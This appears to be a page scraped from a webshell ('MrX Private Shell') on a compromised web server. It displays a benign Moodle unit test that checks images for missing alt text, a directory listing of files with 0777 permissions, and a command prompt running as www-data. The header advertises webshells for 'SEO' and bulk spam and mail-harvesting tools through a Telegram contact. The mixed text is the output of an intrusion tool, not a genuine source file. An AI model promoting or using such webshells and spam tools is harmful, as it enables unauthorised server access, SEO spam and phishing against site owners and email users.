__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * tool_brickfield check test.
 *
 * @package    tool_brickfield
 * @copyright  2020 onward: Brickfield Education Labs, https://www.brickfield.ie
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */

namespace tool_brickfield\local\htmlchecker\common\checks;

defined('MOODLE_INTERNAL') || die();

require_once('all_checks.php');

/**
 * Class test_css_text_has_contrast_testcase
 */
final class img_has_alt_test extends all_checks {
    /** @var string Check type */
    public $checktype = 'img_has_alt';

    /** @var string Html fail 1 */
    private $htmlfail1 = <<<EOD
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
    <head>
        <title>Image alt attributes need to be specified - fail</title>
    </head>
    <body>
    <img src="rex.jpg" alt="">
    </body>
</html>
EOD;

    /** @var string Html fail 2 */
    private $htmlfail2 = <<<EOD
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
    <head>
        <title>Image alt attributes need to be specified - fail</title>
    </head>
    <body>
    <img src="rex.jpg">
    </body>
</html>
EOD;

    /** @var string Html pass */
    private $htmlpass = <<<EOD
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
    <head>
        <title>Image alt attributes need to be specified - fail</title>
    </head>
    <body>
    <img src="rex.jpg" alt="this is an image of rex">
    </body>
</html>
EOD;
    /**
     * Test for missing image alt text.
     */
    public function test_check_fail(): void {
        $results = $this->get_checker_results($this->htmlfail1);
        $this->assertTrue($results[0]->element->tagName == 'img');

        $results = $this->get_checker_results($this->htmlfail2);
        $this->assertTrue($results[0]->element->tagName == 'img');
    }

    /**
     * Test for present image alt text.
     */
    public function test_check_pass(): void {
        $results = $this->get_checker_results($this->htmlpass);
        $this->assertTrue(count($results) == 0);
    }
}

Filemanager

Name Type Size Permission Actions
a_links_dont_open_new_window_test.php File 3.8 KB 0777
a_must_contain_text_test.php File 2.23 KB 0777
a_suspicious_link_text_test.php File 3.22 KB 0777
all_checks.php File 1.49 KB 0777
area_dont_open_new_window_test.php File 3.69 KB 0777
area_has_alt_value_test.php File 2.22 KB 0777
basefont_is_not_used_test.php File 2.24 KB 0777
blink_is_not_used_test.php File 2.21 KB 0777
bold_is_not_used_test.php File 2.3 KB 0777
content_too_long_test.php File 13.25 KB 0777
css_text_has_contrast_test.php File 16.93 KB 0777
embed_has_associated_no_embed_test.php File 2.96 KB 0777
header_h3_test.php File 4.21 KB 0777
headers_have_text_test.php File 3.19 KB 0777
i_is_not_used_test.php File 2.56 KB 0777
img_alt_is_different_test.php File 2.23 KB 0777
img_alt_is_too_long_test.php File 3.01 KB 0777
img_alt_not_empty_in_anchor_test.php File 2.38 KB 0777
img_alt_not_place_holder_test.php File 5.04 KB 0777
img_has_alt_test.php File 2.75 KB 0777
img_with_map_has_use_map_test.php File 2.37 KB 0777
legend_text_not_empty_test.php File 2.71 KB 0777
marquee_is_not_used.php File 2.28 KB 0777
no_headings_test.php File 17.67 KB 0777
object_must_have_embed_test.php File 2.33 KB 0777
object_must_have_title_test.php File 2.32 KB 0777
object_must_have_valid_title_test.php File 4.58 KB 0777
strike_is_not_used_test.php File 2.67 KB 0777
table_data_should_have_th_test.php File 7.02 KB 0777
table_summary_does_not_duplicate_caption_test.php File 2.53 KB 0777
table_td_should_not_merge_test.php File 3.73 KB 0777
table_th_should_have_scope_test.php File 5.25 KB 0777
Filemanager